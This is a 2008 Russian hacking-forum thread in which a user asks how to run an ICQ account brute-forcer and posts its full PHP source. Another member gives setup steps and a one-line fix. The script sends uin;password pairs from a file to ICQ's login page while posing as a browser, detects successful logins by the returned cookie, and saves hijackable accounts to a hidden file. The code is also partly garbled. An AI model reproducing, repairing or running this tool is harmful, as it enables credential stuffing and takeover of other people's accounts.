Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Помощь по скрипту (https://forum.antichat.xyz/showthread.php?t=60886)

Nickotin 03.02.2008 19:29

Помощь по скрипту
 
кто поможет разобраться с скриптом (http://forum.inattack.ru/index.php?showtopic=9891&pid=53326&mode=threaded&s tart=)
я имею ввиду как пользоваться?

Kaimi 03.02.2008 19:45

Залей на хост с поддержкой сокетов, 42 строчку скрипта сделай такой:
PHP код:

$request .= "Connection: keep-alive\r\n"

, создай файл pass.txt в который положи номера в виде uin;pass. Запусти скрипт

Nickotin 03.02.2008 20:04

большое спасибо,щас добавлю ++
еще один вопрос,а для чего это добавлять uin;pass ???
а не просто пароли ,которые он бы перебирал?

Nickotin 03.02.2008 20:10

такой вид должен иметь скрипт???а то у меня ошибка на 43 строке
PHP код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Artix ICQ phpBrute</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<?

///Для того, чтбы скрипт бесконечно работал
set_time_limit(0);
ignore_user_abort(1);

///Чтобы все ошибки показывал
Error_Reporting(E_ALL & ~E_NOTICE);

///Константы, просьба не менять
$config=array();
$config['good']='./.htgood.txt';   ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать) 
$config['pass']='./pass.txt';      ///Лист паролей
$config['separator']=';';          /// Разделитель уин;pass
$config['host']='www.icq.com';     /// HTTP сервер мирабов
$config['port']=80;                /// HTTP порт
$config['statfile']='./stat.html'///Служебный файл

///Если брутер запущен, то выдаем результат работы
if(file_exists($config['statfile'])) 
{
include(
$config['statfile']);
echo 
'
</body>
</html>'
;
exit();


///Типа притворяемся браузером
$request  "POST /karma/login.php HTTP/1.1\r\n";
$request .= "Host: ".$config['host']." \r\n";
$request .= "User-Agent: Opera 7.50";
$request .= "rulez\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "$request .= "Connectionkeep-alive\r\n";
$request .= "Refererhttp://yandex.ru/ \r\n";

///Плохие и хорошие уины
$goodcount=0;
$badcount=0;

///Открытие файла с паролями
$pass=file($config['pass']);

///Непосредственно брут
for($i=0;$i<count($pass);$i++)
{
list(
$s,$s1)=explode($config['separator'],$pass[$i]);

///Данные для отправки к мирабам
$posts = array ( 'dest' => '/whitepages/user_details.php',
               
'desc' => ''
               
'service' => '20',
               
'css'=> 'whitepages',
               
'uin_email'=> $s,
               
'password' => trim($s1)
                );
$postValues="";
$s='';

///Кодирование
foreach( $posts AS $name => $value )
{
    
$postValues .= urlencode($name) . "=" urlencode($value) . '&';  
}

///Создаем post запрос
$lenght strlen($postValues);
$request2 $request."Content-Type: application/x-www-form-urlencoded\r\n";
$request2 .= "Content-Length: $lenght\r\n";
$request2 .= "\r\n";
$request2 .= $postValues;

///Открываем сокет
$fp fsockopen($config['host'],$config['port'], $errno$errstr30);
if (!
$fp
{
///На случай ошибки
echo "$errstr ($errno)<br />\n";

else 
{
///Отправляем данные на whitepages
fwrite($fp$request2);
while (!
feof($fp)) 
{
     
$s.=fgets($fp128);
}

}
///Закрываем сокет
fclose($fp);

///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем
if(strpos($s,'Set-C*****')==true)
{
$good=fopen($config['good'],'a');
fwrite($good,$pass[$i]);
fclose($good);
$goodcount++;
}
else 
$badcount++; 

if(
$i%10==0

  
$count=count($pass)-$i
  
  
///Обновление статистики
  
$s=<<<HTML
--------------------------<br>
<b>Artix ICQ phpBrute</b> <br>
--------------------------<br>
Хороших: 
$goodcount<br>
Плохих:  
$badcount<br>
Осталось: 
$count<br>
---<br>
HTML;

  
$stat=fopen($config['statfile'],'w+');
  
fwrite($stat,$s);
  
fclose($stat);   
}


$s=<<<HTML
--------------------------<br>
<b>Artix ICQ phpBrute</b> <br>
--------------------------<br>
Работа завершена. <br>
Хороших: 
$goodcount<br>
Плохих:  
$badcount<br>
Для продолжения, удалите файл со статистикой<br>
---<br>
HTML;

///Запись конечного результата в файл
$stat=fopen($config['statfile'],'w+');
fwrite($stat,$s);
fclose($stat); 

///Брут завершен
?>


Nickotin 03.02.2008 21:45

ребят ну чё

Kaimi 03.02.2008 21:59

PHP код:

$request .= "$request .= "Connectionkeep-alive\r\n"; 

Поменяй на
PHP код:

$request .= "Connection: keep-alive\r\n"



Время: 15:24